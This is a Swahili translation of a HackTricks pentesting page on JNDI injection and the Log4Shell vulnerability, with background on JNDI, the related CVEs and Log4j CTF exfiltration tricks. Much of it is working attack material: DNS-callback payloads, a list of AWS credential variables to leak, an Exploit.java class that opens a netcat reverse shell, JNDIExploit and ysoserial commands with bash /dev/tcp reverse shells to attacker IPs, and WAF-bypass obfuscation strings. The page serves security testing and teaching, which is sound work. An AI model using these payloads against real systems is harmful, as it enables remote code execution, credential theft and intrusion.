hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

32 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Kikundi cha Usalama cha Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}


Taarifa Msingi

JNDI, iliyoundwa katika Java tangu miaka ya 1990, hutumika kama huduma ya saraka, ikiruhusu programu za Java kupata data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za saraka kupitia interfaces za watoa huduma (SPIs), kuruhusu kupata data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vilivyoko mbali. SPIs za kawaida ni pamoja na CORBA COS, Usajili wa Java RMI, na LDAP.

Kumbukumbu ya Jina la JNDI

Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia Marejeleo ya Majina ya JNDI, ambayo huja katika aina mbili:

  • Anwani za Marejeleo: Inabainisha eneo la kitu (k.m., rmi://server/ref), kuruhusu kupata moja kwa moja kutoka kwa anwani iliyobainishwa.
  • Kiwanda cha Mbali: Kinarejelea darasa la kiwanda cha mbali. Inapofikiwa, darasa hilo linapakuliwa na kuanzishwa kutoka eneo la mbali.

Hata hivyo, mfumo huu unaweza kutumiwa vibaya, ikisababisha kupakia na kutekeleza kanuni za aina yoyote. Kama kinga:

  • RMI: java.rmi.server.useCodeabseOnly = true kwa chaguo-msingi kutoka JDK 7u21, ikizuia kupakia vitu vya mbali. Meneja wa Usalama anazuia zaidi nini kinaweza kupakiwa.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwa kweli, utekelezaji wa kanuni za mbali unawezekana bila usimamizi wa Meneja wa Usalama.
  • CORBA: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.

Hata hivyo, Meneja wa Majina, anayehusika na kutatua viungo vya JNDI, hana mifumo ya usalama iliyojengwa ndani, ikiruhusu upatikanaji wa vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani kinga za RMI, LDAP, na CORBA zinaweza kudanganywa, ikisababisha kupakia vitu vya Java visivyohusika au kutumia vipengele vilivyopo vya programu (vifaa) kutekeleza kanuni mbaya.

Mifano ya URL zinazoweza kutumiwa vibaya ni pamoja na:

  • rmi://attacker-server/bar
  • ldap://attacker-server/bar
  • iiop://attacker-server/bar

Licha ya kinga, mapungufu yanaendelea, hasa kutokana na ukosefu wa ulinzi dhidi ya kupakia JNDI kutoka kwa vyanzo visivyoaminika na uwezekano wa kuzidi kinga zilizopo.

Mfano wa JNDI

Hata kama umeweka PROVIDER_URL, unaweza kuelekeza kwenye moja tofauti katika utafutaji na itafikiwa: ctx.lookup("<attacker-controlled-url>") na hilo ndilo ambalo muhusika atatumia kudownload vitu vya aina yoyote kutoka kwenye mfumo anaodhibiti.

Muhtasari wa CORBA

CORBA (Muundo wa Mfumo wa Ombi la Vitu vya Kawaida) hutumia Kumbukumbu ya Vitu Inayoweza Kuingiliana (IOR) kutambua vitu vya mbali kwa kipekee. Kumbukumbu hii inajumuisha habari muhimu kama:

  • Kitambulisho cha Aina: Kitambulisho cha kipekee kwa kiolesura.
  • Codebase: URL ya kupata darasa la stub.

Kwa kawaida, CORBA haiko hatarini. Kuhakikisha usalama kawaida kunahusisha:

  • Usanidi wa Meneja wa Usalama.
  • Usanidi wa Meneja wa Usalama kuruhusu uhusiano kwa vituo vya kanuni vinavyoweza kuwa na nia mbaya. Hii inaweza kufikiwa kupitia:
  • Ruhusa ya Soketi, k.m., permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Ruhusa ya kusoma faili, iwe kwa ujumla (permission java.io.FilePermission "<<ALL FILES>>", "read";) au kwa saraka maalum ambapo faili zenye nia mbaya zinaweza kuwekwa.

Hata hivyo, sera za baadhi ya wauzaji zinaweza kuwa nyepesi na kuruhusu uhusiano huu kwa chaguo-msingi.

Muktadha wa RMI

Kwa RMI (Mwito wa Mbali wa Mbinu), hali ni tofauti kidogo. Kama ilivyo na CORBA, kupakua darasa la aina yoyote kwa kawaida kunazuiliwa kwa chaguo-msingi. Kudukua RMI, mtu kwa kawaida atahitaji kuzidi Meneja wa Usalama, jambo muhimu pia katika CORBA.

LDAP

Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.
Utafutaji utatumia URL kama ldap://localhost:389/o=JNDITutorial kupata kitu cha JNDITutorial kutoka kwa seva ya LDAP na kupata sifa zake.
Utafutaji unalenga huduma za majina kwani tunataka kupata chochote kilichofungwa kwa jina.

Ikiwa utafutaji wa LDAP uliitwa na SearchControls.setReturningObjFlag() na kweli, basi kitu kilichorudiwa kitajengwa upya.

Kwa hivyo, kuna njia kadhaa za kushambulia chaguo hizi.
Mshambuliaji anaweza kuweka sumu kwenye rekodi za LDAP kuingiza mizigo ambayo itatekelezwa kwenye mifumo inayokusanya (yenye manufaa sana kwa kuambukiza mashine kumi ikiwa una ufikio wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya shambulio la MitM katika utafutaji wa LDAP kwa mfano.

Ikiwa unaweza kuwezesha programu kutatua URL ya JNDI LDAP, unaweza kudhibiti LDAP itakayotafutwa, na unaweza kurudisha shambulio (log4shell).

Shambulio la Deserializesheni

Shambulio limeorodheshwa na litadeserializwa.
Ikiwa trustURLCodebase ni kweli, mshambuliaji anaweza kutoa darasa zake mwenyewe kwenye codebase failure, atahitaji kutumia vifaa katika njia ya darasa.

Shambulio la Kumbukumbu ya JNDI

Ni rahisi kushambulia LDAP hii kwa kutumia marejeleo ya JavaFactory:

Udhaifu wa Log4Shell

Udhaifu unazuka katika Log4j kwa sababu inasaidia sintaksia maalum katika fomu ya ${prefix:jina} ambapo prefix ni moja ya Utafutaji tofauti ambapo jina linapaswa kuhesabiwa. Kwa mfano, ${java:version} ni toleo linalotumika la Java.

LOG4J2-313 ilileta kipengele cha Utafutaji wa jndi. Kipengele hiki kinawezesha kupata vitu kupitia JNDI. Kwa kawaida, ufunguo unapewa kiotomatiki kifungwa na java:comp/env/. Walakini, ikiwa ufunguo wenyewe una ":", kifungwa cha chaguo-msingi hakihusishwi.

Kwa kuwa kuna : kwenye ufunguo, kama katika ${jndi:ldap://mfano.com/a} hakuna kifungwa na seva ya LDAP inaulizwa kwa kitu. Na Utafutaji huu unaweza kutumika katika usanidi wa Log4j pamoja na wakati mistari inalogiwa.

Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni toleo lenye udhaifu la Log4j linaloprocess habari inayodhibitiwa na mtumiaji. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kwa kurekodi habari (pamoja na programu za mtandao) ilikuwa kawaida kuwa na log4j inayorekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j haitumiki kurekodi habari za HTTP pekee bali kuingiza na data ambayo mwandishi ameonyesha.

Muhtasari wa CVEs Zinazohusiana na Log4Shell

CVE-2021-44228 [Kali]

Udhaifu huu ni kasoro muhimu ya deserialization isiyotegemewa katika sehemu ya log4j-core, ikiaathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu utekelezaji wa nambari kwa mbali (RCE), ikiruhusu wachomaji kuchukua udhibiti wa mifumo. Shida ilitolewa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na inaathiri fremu mbalimbali za Apache. Mwisho wa awali katika toleo 2.15.0 ulikuwa haujakamilika. Sheria za Sigma kwa ulinzi zinapatikana (Sheria 1, Sheria 2).

CVE-2021-45046 [Kali]

Awali ilipewa kiwango cha chini lakini baadaye ikaboreshwa kuwa kali, CVE hii ni kasoro ya Kukataa Huduma (DoS) inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri mipangilio isiyokuwa ya msingi, ikiruhusu wachomaji kusababisha mashambulizi ya DoS kupitia malipo yaliyoundwa kwa ustadi. Tweets inaonyesha njia ya kuzidi. Shida imepatuliwa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifano ya kutafuta ujumbe na kulemaza JNDI kwa chaguo-msingi.

CVE-2021-4104 [Kali]

Ikiathiri matoleo ya Log4j 1.x katika mipangilio isiyokuwa ya msingi inayotumia JMSAppender, CVE hii ni kasoro ya deserialization isiyotegemewa. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo ni mwisho wa maisha, na inapendekezwa kuboresha hadi log4j-core 2.17.0.

CVE-2021-42550 [Wastani]

Udhaifu huu unaathiri mfumo wa kuingiza Logback, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo uligunduliwa kuwa na udhaifu, na toleo jipya (1.3.0-alpha11 na 1.2.9) zimetolewa kushughulikia shida hiyo.

CVE-2021-45105 [Kali]

Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa log4j 2.17.0 kusahihisha CVE. Maelezo zaidi yanapatikana katika ripoti ya BleepingComputer hapa.

CVE-2021-44832

Ikiathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi wa log4j. Inahusisha utekelezaji wa nambari za uwezekano kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika chapisho la blogi la Checkmarx.

Uchunguzi wa Utekaji wa Log4Shell

Ugunduzi

Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu itatuma angalau ombi la DNS kwa anwani unayotaja katika mzigo wako. Kwa hivyo, mizigo kama:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (ikitumia canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (ikitumia interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (ikitumia Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (ikitumia dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (ikitumia huntress)

Tafadhali kumbuka hata kama ombi la DNS linapokelewa haimaanishi kuwa programu inaweza kutumiwa (au hata kuwa na udhaifu), utahitaji kujaribu kuitumia.

{% hint style="info" %} Kumbuka kwamba kwa kutumia toleo 2.15 unahitaji kuongeza kizuizi cha ukaguzi wa localhost: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Ugunduzi wa Kienyeji

Tafuta matoleo hatarishi ya ndani ya maktaba kwa:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Uhakiki

Baadhi ya majukwaa yaliyoorodheshwa hapo awali itakuruhusu kuweka data ya kubadilika ambayo itaorodheshwa wakati inahitajika. Hii inaweza kuwa muhimu sana kwa mambo 2:

  • Kwa kuthibitisha udhaifu
  • Kwa kuvuja kwa habari kwa kutumia udhaifu

Kwa mfano, unaweza kuomba kitu kama:
au kama ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} na ikiwa ombi la DNS linapokelewa na thamani ya mazingira, unajua programu ina udhaifu.

Maelezo mengine unaweza kujaribu kuvuja:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Taarifa za RCE

{% hint style="info" %} Mashine zinazoendesha kwenye toleo la JDK zaidi ya 6u141, 7u131, au 8u121 zimekingwa dhidi ya vector ya shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kulegezwa kwa chaguo la msingi la com.sun.jndi.ldap.object.trustURLCodebase, ambayo inazuia JNDI kutoa mzigo wa kikodisho cha mbali kupitia LDAP. Walakini, ni muhimu kuzingatia kwamba toleo hizi hazilindwi dhidi ya vector ya shambulio la deserialization.

Kwa wachomaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia kifaa cha kubahatisha ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa madhumuni haya. Kinyume chake, kuchomwa kwa toleo za chini za JDK ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza darasa lolote.

Kwa taarifa zaidi (kama vizuizi kwenye vectors vya RMI na CORBA) angalia sehemu iliyopita ya Marejeleo ya Jina la JNDI au https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec na mzigo wa desturi

Unaweza kujaribu hii kwenye THM box: https://tryhackme.com/room/solar

Tumia zana marshalsec (toleo la jar linapatikana hapa). Hatua hii inathibitisha seva ya rufaa ya LDAP kuelekeza mawasiliano kwenye seva ya HTTP ya pili ambapo shambulio litahifadhiwa:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Ili kumshawishi lengo kuchukua msimbo wa kitanzi cha nyuma, tengeneza faili ya Java iliyoitwa Exploit.java na yaliyomo hapa chini:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Kamilisha faili ya Java kuwa faili ya darasa kwa kutumia: javac Exploit.java -source 8 -target 8. Kisha anzisha server ya HTTP katika saraka inayohifadhi faili ya darasa kwa kutumia: python3 -m http.server. Hakikisha server ya LDAP ya marshalsec inahusisha server ya HTTP hii.

Chochote kile kinachofanana na:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Maelezo: Kudukuzi huu unategemea usanidi wa Java kuruhusu mzigo wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililothibitishwa kwa utekelezaji wa msimbo wa kupendelea.

RCE - JNDIExploit

{% hint style="info" %} Tafadhali kumbuka kwamba kwa sababu fulani mwandishi aliiondoa mradi huu kutoka github baada ya ugunduzi wa log4shell. Unaweza kupata toleo lililohifadhiwa kwa https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 lakini ikiwa unataka kuheshimu uamuzi wa mwandishi tumia njia tofauti kudukua kasoro hii.

Zaidi ya hayo, huwezi kupata msimbo wa chanzo kwenye wayback machine, hivyo chambua msimbo wa chanzo, au tekeleza jar ukiwa na ufahamu kwamba hujui unachotekeleza. {% endhint %}

Kwa mfano huu unaweza tu kukimbia seva dhaifu ya wavuti kwa log4shell kwenye bandari 8080: https://github.com/christophetd/log4shell-vulnerable-app (kwenye README utapata jinsi ya kuikimbia). Programu hii dhaifu inalogi na toleo dhaifu la log4shell maudhui ya kichwa cha ombi la HTTP X-Api-Version.

Kisha, unaweza kupakua faili ya jar ya JNDIExploit na kuitekeleza kwa:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Baada ya kusoma nambari kwa dakika chache tu, katika com.feihong.ldap.LdapServer na com.feihong.ldap.HTTPServer unaweza kuona jinsi seva za LDAP na HTTP zinavyoundwa. Seva ya LDAP itaelewa ni mzigo gani unahitaji kutumikia na itamwongoza muathiriwa kwenye seva ya HTTP, ambayo itatumikia shambulio.
Katika com.feihong.ldap.gadgets unaweza kupata gadgets maalum ambayo yanaweza kutumika kutekeleza hatua inayotakiwa (kimsingi kutekeleza nambari ya kupindukia). Na katika com.feihong.ldap.template unaweza kuona darasa tofauti za templeti ambazo zitakuwa zinazalisha mashambulizi.

Unaweza kuona mashambulizi yote yanayopatikana kwa java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Baadhi ya mashambulizi yanayoweza kusaidia ni:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Kwa hivyo, katika mfano wetu, tayari tuna programu hiyo inayoweza kudukuliwa ya docker ikifanya kazi. Ili kuishambulia:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Uponyesho wa mashambulizi utaona baadhi ya matokeo kwenye terminal ambapo ulitekeleza JNDIExploit-1.2-SNAPSHOT.jar.

Kumbuka kuangalia java -jar JNDIExploit-1.2-SNAPSHOT.jar -u kwa chaguo zingine za uchimbaji. Zaidi ya hayo, kama unahitaji, unaweza kubadilisha bandari ya seva za LDAP na HTTP.

RCE - JNDI-Exploit-Kit

Kwa njia kama ile ya shambulizi lililopita, unaweza kujaribu kutumia JNDI-Exploit-Kit kuchimba udhaifu huu.
Unaweza kuzalisha URL za kutuma kwa muathiriwa kwa kukimbia:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Ataaki hii kutumia kitu cha java kilichotengenezwa kwa kawaida itafanya kazi katika maabara kama chumba cha jua cha THM. Hata hivyo, kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijaundwa kwa ajili ya kupakia msingi wa kanuni kutumia LDAP) nadhani kwa sababu haichukulii darasa lililoaminika kutekeleza kanuni za kupindukia.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus ni chombo kingine cha kutengeneza viungo vya JNDI vinavyofanya kazi na kutoa huduma za msingi kwa kuanzisha seva ya RMI, seva ya LDAP, na seva ya HTTP.\

RCE - ysoserial & JNDI-Exploit-Kit

Chaguo hili ni muhimu sana kushambulia toleo za Java zilizoandaliwa kuamini darasa maalum na si kila mtu. Kwa hivyo, ysoserial itatumika kutengeneza uwekaji wa darasa za kuaminika ambazo zinaweza kutumika kama vifaa vya kutekeleza kanuni za kupindukia (darasa lililoaminika lililochukuliwa faida na ysoserial lazima litumiwe na programu ya java ya mwathiriwa ili shambulio lifanye kazi).

Kwa kutumia ysoserial au ysoserial-modified unaweza kuunda shambulio la uwekaji wa deserialization ambalo litapakuliwa na JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Tumia JNDI-Exploit-Kit kuzalisha viungo vya JNDI ambapo shambulio litakuwa linasubiri mawasiliano kutoka kwenye mashine zilizo hatarini. Unaweza kutumikia shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja na JNDI-Exploit-Kit au hata mizigo yako ya deserialization binafsi (iliyozalishwa na wewe au ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kuchexploitisha udhaifu na kupata reverse shell kwa kutuma kwa toleo lenye udhaifu la log4j: ${ldap://10.10.14.10:1389/generated}

Kupitisha mfumo

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Skaneti za Kiotomatiki

Maabara za Jaribio

Baada ya Kutumia Log4Shell

Katika makala ya CTF hii inaelezea vizuri jinsi inavyoweza kufanyika kutumia baadhi ya vipengele vya Log4J.

Ukurasa wa usalama wa Log4j una sentensi za kuvutia:

Kutoka toleo la 2.16.0 (kwa Java 8), kipengele cha kutafuta ujumbe kimeondolewa kabisa. Utafutaji katika usanidi bado unafanya kazi. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Utafutaji wa JNDI katika usanidi sasa unahitaji kuwezeshwa kwa uwazi.

Kutoka toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), maneno ya utafutaji katika usanidi yanapanuliwa kwa njia ya kurudufu tu; katika matumizi mengine yoyote, utafutaji wa kiwango cha juu tu unatatuliwa, na utafutaji wowote uliojumuishwa haurudishwi.

Hii inamaanisha kwamba kwa chaguo-msingi huwezi kutumia shambulio lolote la jndi. Zaidi ya hayo, ili kufanya utafutaji wa kurudufu unahitaji kuwa umeweka usanidi huo.

Kwa mfano, katika CTF hiyo ilikuwa imeboreshwa katika faili log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Utafutaji wa Mazingira

Katika CTF hii, muhusika alidhibiti thamani ya ${sys:cmd} na alihitaji kuchota bendera kutoka kwa mazingira ya pembejeo.
Kama ilivyoonekana kwenye ukurasa huu katika mizigo ya awali kuna njia tofauti za kupata mazingira ya pembejeo, kama vile: ${env:FLAG}. Katika CTF hii hii haikuwa na maana lakini inaweza kuwa na maana katika mazingira mengine halisi.

Kuchota katika Mifano

Katika CTF, haukuweza kupata stderr ya programu ya java kutumia log4J, lakini makosa ya Log4J huletwa kwa stdout, ambayo ilichapishwa kwenye programu ya python. Hii ilimaanisha kwamba kwa kusababisha kosa tungeweza kupata maudhui. Kosa la kuchota bendera lilikuwa: ${java:${env:FLAG}}. Hii inafanya kazi kwa sababu ${java:CTF{blahblah}} haipo na kosa lenye thamani ya bendera litakuwa inaonyeshwa:

Mifano ya Kubadilisha Makosa

Tu kutaja, unaweza pia kuingiza mifano mpya ya ubadilishaji na kusababisha makosa ambayo yataorodheshwa kwa stdout. Kwa mfano:

Hii haikuonekana kuwa na manufaa kwa kuchota tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukupatiwa kabla ya mfano wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama vile kugundua.

Mifano ya Kubadilisha Makosa ya Regex

Hata hivyo, ni rahisi kutumia baadhi ya mifano ya ubadilishaji inayounga mkono regexes kuchota habari kutoka kwa utafutaji kwa kutumia regexes na kutumia tabia za utafutaji wa binary au kulingana na wakati.

  • Utafutaji wa binary kupitia ujumbe wa makosa

Mfano wa ubadilishaji %replace unaweza kutumika kubadilisha maudhui kutoka kwa herufi hata kutumia regexes. Inafanya kazi kama hivi: replace{pattern}{regex}{substitution}
Kwa kufanya tabia hii unaweza kufanya ubadilishaji kusababisha kosa ikiwa regex ililinganishwa na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama hivi:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Kulingana na Wakati

Kama ilivyotajwa katika sehemu iliyopita, %replace inasaidia regexes. Kwa hivyo ni rahisi kutumia mzigo kutoka kwenye ukurasa wa ReDoS kusababisha muda wa kusubiri ikiwa bendera itapatikana. Kwa mfano, mzigo kama %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} ungechochea muda wa kusubiri katika CTF hiyo.

Katika makala hii, badala ya kutumia shambulio la ReDoS, ilifanya shambulio la kuongeza ili kusababisha tofauti ya muda katika majibu:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Ikiwa bendera inaanza na flagGuess, bendera nzima itabadilishwa na # 29 (Nilitumia herufi hii kwa sababu inaweza kuwa sio sehemu ya bendera). Kila moja ya # 29 zinazopatikana kisha zinabadilishwa na # 54. Mchakato huu unarudiwa mara 6, ikiongoza kwa jumla ya 29*54*54^6* =`` ``96816014208 #-s!

Kubadilisha # nyingi kutasababisha muda wa sekunde 10 wa programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na flagGuess, tutapokea nambari ya hali isiyo ya 500)

Marejeo

Kikundi cha Usalama cha Kujitahidi Kufanikiwa

{% embed url="https://discord.gg/tryhardsecurity" %}

Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: